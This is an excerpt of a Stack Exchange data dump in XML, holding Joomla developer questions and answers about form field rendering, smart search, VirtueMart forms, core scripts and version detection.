});&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can easily manipulate the Javascript to add FancyBox functionality in as well that gives a nice welcome message. Of you can wrap the entire login form in a modal and have it all as a popup. Options are basically limitless. Let me know if you have questions about any of this. I am using these scripts myself so I know that they work.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2020-01-24T18:30:47.580" LastActivityDate="2020-01-24T18:30:47.580" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="26665" PostTypeId="1" AcceptedAnswerId="26698" CreationDate="2020-01-20T06:36:15.820" Score="2" ViewCount="849" Body="&lt;p&gt;I need to be able to add styling class to form fields parent wrappers when using the xml attribute method, with a new attribute &lt;strong&gt;cgClass&lt;/strong&gt; (as in control-group) to achieve &amp;lt;div class=&quot;control-group &lt;strong&gt;myclass&lt;/strong&gt;&quot;&amp;gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;name&quot; type=&quot;text&quot; cgClass=&quot;myclass&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The current method adds a class attrib to the field element using the xml attribute &lt;strong&gt;class&lt;/strong&gt;, but that is useless for styling the parent container and children. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The desired output should be&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;control-group myclass&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;    &amp;lt;label id=&quot;jform_params&quot; for=&quot;jform_params&quot;&amp;gt;Label&amp;lt;/label&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;jform[params]&quot; id=&quot;jform_params&quot; value=&quot;&quot;&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The goal is to be able to group fields into columns&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This screen capture shows 2 columns&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MkZPG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MkZPG.jpg&quot; alt=&quot;visual of fields arrangement desired&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to do this without using a layout override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can achieve the desired output when I edit &lt;strong&gt;\libraries\src\Form\FormField.php&lt;/strong&gt; within the &lt;strong&gt;renderField()&lt;/strong&gt; method and add the following condition, however that's not appropriate since it is overwritten on updates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function renderField($options = array())&#xA;{&#xA;  // added condition&#xA;  if( $this-&amp;gt;getAttribute('cgClass') ) {&#xA;    $options['class'] = $this-&amp;gt;getAttribute('cgClass');&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Additional Information&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The core layout file &lt;strong&gt;layouts/joomla/form/renderfield.php&lt;/strong&gt; is constructed to do the task as desired.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('JPATH_BASE') or die;&#xA;&#xA;extract($displayData);&#xA;&#xA;if (!empty($options['showonEnabled']))&#xA;{&#xA;  JHtml::_('jquery.framework');&#xA;  JHtml::_('script', 'jui/cms.js', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;}&#xA;&#xA;$class = empty($options['class']) ? '' : ' ' . $options['class'];&#xA;$rel   = empty($options['rel']) ? '' : ' ' . $options['rel'];&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;lt;?php echo $rel; ?&amp;gt;&amp;gt;&#xA;  &amp;lt;?php if (empty($options['hiddenLabel'])) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $label; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;   &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $input; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the &lt;strong&gt;renderField()&lt;/strong&gt; method in &lt;strong&gt;libraries/src/FormFormField.php&lt;/strong&gt; does not send a value to the &lt;strong&gt;$options['class']&lt;/strong&gt; variable. As if someone forgot to complete the condition.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function renderField($options = array())&#xA;{&#xA;    if ($this-&amp;gt;hidden)&#xA;    {&#xA;        return $this-&amp;gt;getInput();&#xA;    }&#xA;&#xA;    if (!isset($options['class']))&#xA;    {&#xA;        $options['class'] = '';&#xA;    }&#xA;&#xA;    $options['rel'] = '';&#xA;&#xA;    if (empty($options['hiddenLabel']) &amp;amp;&amp;amp; $this-&amp;gt;getAttribute('hiddenLabel'))&#xA;    {&#xA;        $options['hiddenLabel'] = true;&#xA;    }&#xA;&#xA;    if ($this-&amp;gt;showon)&#xA;    {&#xA;        $options['rel']           = ' data-showon=\'' .&#xA;            json_encode(FormHelper::parseShowOnConditions($this-&amp;gt;showon, $this-&amp;gt;formControl, $this-&amp;gt;group)) . '\'';&#xA;        $options['showonEnabled'] = true;&#xA;    }&#xA;&#xA;    $data = array(&#xA;        'input'   =&amp;gt; $this-&amp;gt;getInput(),&#xA;        'label'   =&amp;gt; $this-&amp;gt;getLabel(),&#xA;        'options' =&amp;gt; $options,&#xA;    );&#xA;&#xA;    return $this-&amp;gt;getRenderer($this-&amp;gt;renderLayout)-&amp;gt;render($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12862" LastEditorUserId="12862" LastEditDate="2020-01-22T21:02:20.857" LastActivityDate="2020-02-01T21:18:05.570" Title="How can I globally override renderField() method to set $options['class'] value in Joomla 3?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26666" PostTypeId="1" AcceptedAnswerId="26678" CreationDate="2020-01-20T12:33:52.330" Score="1" ViewCount="121" Body="&lt;p&gt;I use the Joomla smart search on my site (com_finder). I have an article with the term &lt;code&gt;not connected&lt;/code&gt; in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I search for the term &lt;code&gt;not connected&lt;/code&gt; I get &lt;strong&gt;0 results&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I search for the word &lt;code&gt;connected&lt;/code&gt; alone &lt;strong&gt;the article does show up&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I search the term &lt;code&gt;&quot;not connected&quot;&lt;/code&gt; (enclosed with quotation marks) &lt;strong&gt;the article shows up&lt;/strong&gt; on the search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand, quotation marks should represent exact match and show fewer results than general match (without quotation marks) and not the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How come the article does not show up without the quotation mark?&lt;/p&gt;&#xA;" OwnerUserId="14053" LastEditorUserId="12352" LastEditDate="2020-01-21T07:38:06.843" LastActivityDate="2023-03-21T01:06:40.947" Title="Why general match and exact match not functioning properly in smart search?" Tags="|smartsearch|joomla-3.9|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="26667" PostTypeId="2" ParentId="26658" CreationDate="2020-01-20T16:28:18.780" Score="0" Body="&lt;p&gt;You get the menu id for the currect request.&#xA;The Ajax uses another request than your normal page load. That is why Joomla is using some default or cached value to determine active menu.&#xA;You should add the current ItemId as parameter to the ajax request itself instead if it is important for your modules function.&lt;/p&gt;&#xA;" OwnerUserId="2061" LastActivityDate="2020-01-20T16:28:18.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26669" PostTypeId="2" ParentId="17982" CreationDate="2020-01-21T21:18:19.070" Score="1" Body="&lt;p&gt;It is in the file:&#xA;public_html/libraries/src/Application/WebApplication.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$this-&amp;gt;response-&amp;gt;cachable)   &#xA;        {       // Expires in the past.&#xA;    $this-&amp;gt;setHeader('Expires', 'Wed, 17 Aug 2005 00:00:00 GMT', true);&#xA;&#xA;            // Always modified. &#xA;    $this-&amp;gt;setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true); &#xA;    $this-&amp;gt;setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8968" LastActivityDate="2020-01-21T21:18:19.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26671" PostTypeId="1" CreationDate="2020-01-22T02:41:05.290" Score="1" ViewCount="77" Body="&lt;p&gt;I want to free my future site's visitors from having to fill out the form before submitting their name, e-mail and a phone No. Basically, in most cases it won't be needed for them to also add more information in the form's text box. But the default (current) status is that they must at least type a single word before they're allowed to submit the form. I'll attach screenshot to better clarify the issue and also provide a link to a live site where you can see it in a real life situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.profilecreations.co.za/index.php/products/desktop-stationery/blockpads/pvc-blockpad-detail&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.profilecreations.co.za/index.php/products/desktop-stationery/blockpads/pvc-blockpad-detail&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a Joomla's Virtuemart shop. Latest Joomla version and VM3 working together. In a product detail page there's an &quot;Ask A Question&quot; button. After it's clicked, you get a contact form, in which one can input their contact info and fill out the text box below and press &quot;Send your question&quot; button just below. My goal is just to directly contact the potential client by using their e-mail or a phone number. I don't need them to necessarily provide me with more information in that text box rectangle.  What I know so far is that there's a Virtuemart controller PHP file that makes sure that the required text box is filled out before the form's submission. This one: components/com_virtuemart/controllers/productdetails.php I'll provide a link to it in a cloud, since I can't post it here.&#xA;&lt;a href=&quot;https://cloud.mail.ru/public/4R5G/576VCjoW1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cloud.mail.ru/public/4R5G/576VCjoW1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be modified so that there wouldn't be a requirement of filling out that text box befere one can submit the form. Here's the link to the real live site's product detail page with an &quot;Ask A Question&quot; button in the middle.&lt;a href=&quot;https://i.stack.imgur.com/5v8Rx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5v8Rx.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2022-02-11T07:06:25.693" Title="How to cancel a mandatory (required) field in Virtuemart form submission process?" Tags="|joomla-3.x|php|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26672" PostTypeId="1" CreationDate="2020-01-22T10:33:24.960" Score="1" ViewCount="78" Body="&lt;p&gt;I'm developing a component in Joomla! 3.9.13 with SEF urls turned ON and I use this line of code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::link(&#xA;'site',&#xA;'index.php?option=com_mycomponent&amp;amp;task=profile.edit',&#xA;false,&#xA;JRoute::TLS_IGNORE,&#xA;true&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and - depending on the application context - it generates two different urls. When called from within the 'administrator' context I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/index.php/component/mycomponent/?task=profile.edit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using it in the 'site' app, I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/index.php/mycomponent_translated?task=profile.edit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read that the first parameter 'site' would force Joomla! to use the site context but obviously it doesn't work. I couldn't find a clear answer to this, especially not for the current Joomla! version 3.9.x so I'd be grateful if anybody could shed some light on this.&lt;/p&gt;&#xA;" OwnerUserId="11042" LastActivityDate="2020-01-22T10:33:24.960" Title="JRoute::link('site') generates different strings depending on the app context" Tags="|sef|joomla-3.9|jroute|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26673" PostTypeId="1" CreationDate="2020-01-22T15:11:01.103" Score="0" ViewCount="393" Body="&lt;p&gt;Am on Joomla 3.6 series, i am trying to optimize page loading speed, but every page has these JS files and scripts loaded by Joomla &#xA;Is there a way to remove these, dont want to use jchoptimize or any extension, an easy way so that these files should not be there and not delay page loading time&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/media/system/css/modal.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;    &amp;lt;script src=&quot;/media/jui/js/jquery.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/media/jui/js/jquery-noconflict.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/media/jui/js/jquery-migrate.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/media/jui/js/bootstrap.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/media/system/js/mootools-core.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/media/system/js/core.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/media/system/js/mootools-more.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/media/system/js/modal.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(function($) {&#xA;            SqueezeBox.initialize({});&#xA;            SqueezeBox.assign($('a.modal').get(), {&#xA;                parse: 'rel'&#xA;            });&#xA;        });&#xA;&#xA;        window.jModalClose = function () {&#xA;            SqueezeBox.close();&#xA;        };&#xA;&#xA;        // Add extra modal close functionality for tinyMCE-based editors&#xA;        document.onreadystatechange = function () {&#xA;            if (document.readyState == 'interactive' &amp;amp;&amp;amp; typeof tinyMCE != 'undefined' &amp;amp;&amp;amp; tinyMCE)&#xA;            {&#xA;                if (typeof window.jModalClose_no_tinyMCE === 'undefined')&#xA;                {   &#xA;                    window.jModalClose_no_tinyMCE = typeof(jModalClose) == 'function'  ?  jModalClose  :  false;&#xA;&#xA;                    jModalClose = function () {&#xA;                        if (window.jModalClose_no_tinyMCE) window.jModalClose_no_tinyMCE.apply(this, arguments);&#xA;                        tinyMCE.activeEditor.windowManager.close();&#xA;                    };&#xA;                }&#xA;&#xA;                if (typeof window.SqueezeBoxClose_no_tinyMCE === 'undefined')&#xA;                {&#xA;                    if (typeof(SqueezeBox) == 'undefined')  SqueezeBox = {};&#xA;                    window.SqueezeBoxClose_no_tinyMCE = typeof(SqueezeBox.close) == 'function'  ?  SqueezeBox.close  :  false;&#xA;&#xA;                    SqueezeBox.close = function () {&#xA;                        if (window.SqueezeBoxClose_no_tinyMCE)  window.SqueezeBoxClose_no_tinyMCE.apply(this, arguments);&#xA;                        tinyMCE.activeEditor.windowManager.close();&#xA;                    };&#xA;                }&#xA;            }&#xA;        };&#xA;&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2020-01-22T15:11:01.103" Title="Remove joomla inbuilt css and JS Files" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26674" PostTypeId="2" ParentId="23067" CreationDate="2020-01-22T18:40:56.913" Score="0" Body="&lt;p&gt;To solve this issue, I used PhpMyAdmin to edit the #__extensions table. I set 'enabled' to '0' for 'plg_statusindicator'. I was, then, able to access the administrator. (Thanks, @Lodder!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the plugin continued to throw the error when accessing the administrator if re-enabled. Apparently, there is some server setting on the new server that is not allowing the plugin to function as it did on the live server. Fortunately, I could just leave it disabled for testing.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2020-01-22T18:40:56.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26675" PostTypeId="2" ParentId="26671" CreationDate="2020-01-23T02:49:56.613" Score="1" Body="&lt;p&gt;I've figured out myself how to solve the issue. First of all, I got rid of the text box and a character counter altogether in file:components/com_virtuemart/views/askquestion/tmpl/form.php&#xA;Then I solved the character validation issue in file: components/com_virtuemart/controllers/productdetails.php like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$min = VmConfig::get ('asks_minimum_comment_length', 0) - 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the end, I just get the form with NAME, E-MAIL, PHONE NO. and a captcha validation.&lt;/p&gt;&#xA;" OwnerUserId="11321" LastEditorUserId="11321" LastEditDate="2020-01-23T03:12:27.087" LastActivityDate="2020-01-23T03:12:27.087" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26676" PostTypeId="1" AcceptedAnswerId="26679" CreationDate="2020-01-23T09:51:47.263" Score="1" ViewCount="724" Body="&lt;p&gt;Joomla 3.9.14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a category with no articles, although the sub categories &lt;strong&gt;do&lt;/strong&gt; contain articles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; - colours (no articles)&#xA; -- red (1 article)&#xA; -- blue (2 articles)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a menu type &lt;code&gt;Category Blog&lt;/code&gt; that links to my &lt;code&gt;colours&lt;/code&gt; category. On this page the following text is displayed;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are no articles in this category. If subcategories display on&#xA;  this page, they may have articles.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it possible to remove this text completely? I'd rather not change language files or modify css. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expected there to be a default Joomla setting to hide this text?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-01-23T15:01:45.390" Title="Remove 'There are no articles in this category.' Text" Tags="|joomla-3.x|articles|language|category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26677" PostTypeId="2" ParentId="26676" CreationDate="2020-01-23T14:12:37.893" Score="1" Body="&lt;p&gt;Disable &lt;code&gt;No Articles Message&lt;/code&gt; option in the menu item or in &lt;code&gt;com_content&lt;/code&gt; configuration.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-01-23T14:12:37.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26678" PostTypeId="2" ParentId="26666" CreationDate="2020-01-23T14:50:17.310" Score="1" Body="&lt;p&gt;Did a little more looking when I had time and discovered a bug in com_finder that complicates this issue, but here's how it's (IMO) supposed to work as well as a workaround for the bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The word &quot;not&quot; carries a boolean meaning, so when you enter the string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;not connected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it takes on the meaning I suggested in one of my comments, that of 'every response to an empty query except those containing the word &quot;connected.&quot;' Since the result of an empty query is an empty set, you end up with nothing found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &quot;unload&quot; the boolean meaning, we surround it with quotes, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;not&quot; connected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While that is the theory behind it and how it's supposed to work, unfortunately, that query triggers the bug I referred to, so instead of interpreting that query as searching for the word &quot;not&quot; and the word &quot;connected&quot; it searches for the word &quot;not&quot; and then resurrects the boolean meaning we were supposed to be eluding and excludes all entries that have &quot;connected&quot; in them from the returned result set. Subtle bug, eh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do we work around this? So long as there's only one boolean term in your search, put it in quotes and make it the last term:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;connected &quot;not&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that will get you the results you're looking for, all entries with both &quot;not&quot; and &quot;connected&quot; in them.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-01-23T14:50:17.310" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26679" PostTypeId="2" ParentId="26676" CreationDate="2020-01-23T15:01:45.390" Score="4" Body="&lt;p&gt;Got to;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;content &gt; articles &gt; options &gt; category tab &gt; No Articles Message &gt; hide / show&lt;/p&gt;&#xA;" OwnerUserId="11172" LastActivityDate="2020-01-23T15:01:45.390" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26680" PostTypeId="1" CreationDate="2020-01-23T17:38:27.130" Score="1" ViewCount="45" Body="&lt;p&gt;Any reason why some articles may be missing on the front end of my Joomla 3 site when most of them are there? 2 articles are missing out of 63. All but 2 are listed in the category on the front end.  The 2 missing are showing under the right category in the admin area but they don't show up for my visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one article archived and a new article linking to that article in the archive so it only shows up when you click on the link on the new article page.&#xA;Now that new article, does not show up on the front end in the blog list of articles in that category. When I made the new article, I used the old one and made a copy of it and edited it to point to the old article. I made the new article a featured article which shows on the front page but then when I go to it's parent category, it is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see what I did, It is a Basic Granny Square pattern article at&#xA;&lt;a href=&quot;https://www.jpfun.com/crochet/patterns/granny/f101001-basic-granny-square&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jpfun.com/crochet/patterns/granny/f101001-basic-granny-square&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this page, the link above is missing on all 5 pages of this category.&#xA;The category page is at: &lt;a href=&quot;https://www.jpfun.com/crochet/patterns/granny&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jpfun.com/crochet/patterns/granny&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The front page, that shows featured articles is at:&#xA;&lt;a href=&quot;https://www.jpfun.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jpfun.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help you can give me.&lt;/p&gt;&#xA;" OwnerUserId="14060" LastActivityDate="2020-01-23T17:38:27.130" Title="I have some missing articles in a category on the front end. Joomla 3" Tags="|articles|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26681" PostTypeId="1" CreationDate="2020-01-24T05:53:08.403" Score="0" ViewCount="232" Body="&lt;p&gt;Every page on site has this script&#xA;Is there any role, seems like of tinymce editor&#xA;how to disable same, any plugin to disable, as i do not use tinymce on front end of site&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(function($) {&#xA;            SqueezeBox.initialize({});&#xA;            SqueezeBox.assign($('a.modal').get(), {&#xA;                parse: 'rel'&#xA;            });&#xA;        });&#xA;&#xA;        window.jModalClose = function () {&#xA;            SqueezeBox.close();&#xA;        };&#xA;&#xA;        // Add extra modal close functionality for tinyMCE-based editors&#xA;        document.onreadystatechange = function () {&#xA;            if (document.readyState == 'interactive' &amp;amp;&amp;amp; typeof tinyMCE != 'undefined' &amp;amp;&amp;amp; tinyMCE)&#xA;            {&#xA;                if (typeof window.jModalClose_no_tinyMCE === 'undefined')&#xA;                {   &#xA;                    window.jModalClose_no_tinyMCE = typeof(jModalClose) == 'function'  ?  jModalClose  :  false;&#xA;&#xA;                    jModalClose = function () {&#xA;                        if (window.jModalClose_no_tinyMCE) window.jModalClose_no_tinyMCE.apply(this, arguments);&#xA;                        tinyMCE.activeEditor.windowManager.close();&#xA;                    };&#xA;                }&#xA;&#xA;                if (typeof window.SqueezeBoxClose_no_tinyMCE === 'undefined')&#xA;                {&#xA;                    if (typeof(SqueezeBox) == 'undefined')  SqueezeBox = {};&#xA;                    window.SqueezeBoxClose_no_tinyMCE = typeof(SqueezeBox.close) == 'function'  ?  SqueezeBox.close  :  false;&#xA;&#xA;                    SqueezeBox.close = function () {&#xA;                        if (window.SqueezeBoxClose_no_tinyMCE)  window.SqueezeBoxClose_no_tinyMCE.apply(this, arguments);&#xA;                        tinyMCE.activeEditor.windowManager.close();&#xA;                    };&#xA;                }&#xA;            }&#xA;        };&#xA;&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2024-02-23T21:04:45.530" Title="Jquery script loaded on every page" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26682" PostTypeId="1" AcceptedAnswerId="26683" CreationDate="2020-01-24T10:25:58.997" Score="1" ViewCount="590" Body="&lt;p&gt;For one of my extensions i need a switch statement if the Joomla! Version is 3.x or 4. (in fact i have to call the Articles Model in different way for J4) - but how can i get the actual installed Joomla! Version by PHP (inside my helper)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2020-01-24T13:51:28.327" Title="How to get the currently installed Joomla! Version in PHP" Tags="|joomla-3.x|php|joomla-4.x|versions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26683" PostTypeId="2" ParentId="26682" CreationDate="2020-01-24T13:51:28.327" Score="3" Body="&lt;p&gt;Use &lt;code&gt;JVERSION&lt;/code&gt; constant. It holds the value returned by &lt;code&gt;Joomla\CMS\Version::getShortVersion()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-01-24T13:51:28.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26684" PostTypeId="1" AcceptedAnswerId="26685" CreationDate="2020-01-25T09:08:02.277" Score="0" ViewCount="129" Body="&lt;p&gt;How can I disable linked titles and the link on the image in a menu item tagged list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running Joomla 3.9.14.&lt;/p&gt;&#xA;" OwnerUserId="8108" LastEditorUserId="12352" LastEditDate="2020-01-25T21:44:32.887" LastActivityDate="2020-01-25T21:44:32.887" Title="Menu item &quot;tagged list&quot;: How to disable link on image and title?" Tags="|menu-item|tags|joomla-3.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26685" PostTypeId="2" ParentId="26684" CreationDate="2020-01-25T15:11:46.307" Score="1" Body="&lt;p&gt;You can do this by creating an override for the com_tags layout file which outputs your list, as described in &lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When logged on as a Super User go to Extensions / Templates / Templates, select the Site option and click the template which your site is using. This will lead you to the Templates: Customise page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, in the Editor tab click on the explorer display down through &quot;html&quot; and check there isn't a set of files under html/com_tags/tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the Create Overrides tab and click on com_tags in the Component column, and then on tag. This copies the layout files from their usual place under com_tags into the template folder structure under the html folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go back to the Editor tab and open the folders under html. You should now see 4 files under html/com_tags/tag. The file you want to edit is default_items.php, and you want to replace html &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; elements in a couple of places with just the title and image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on default_items.php to edit it, and the file should appear in an editor on the right hand side. Go down to these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_($item-&amp;gt;link); ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;    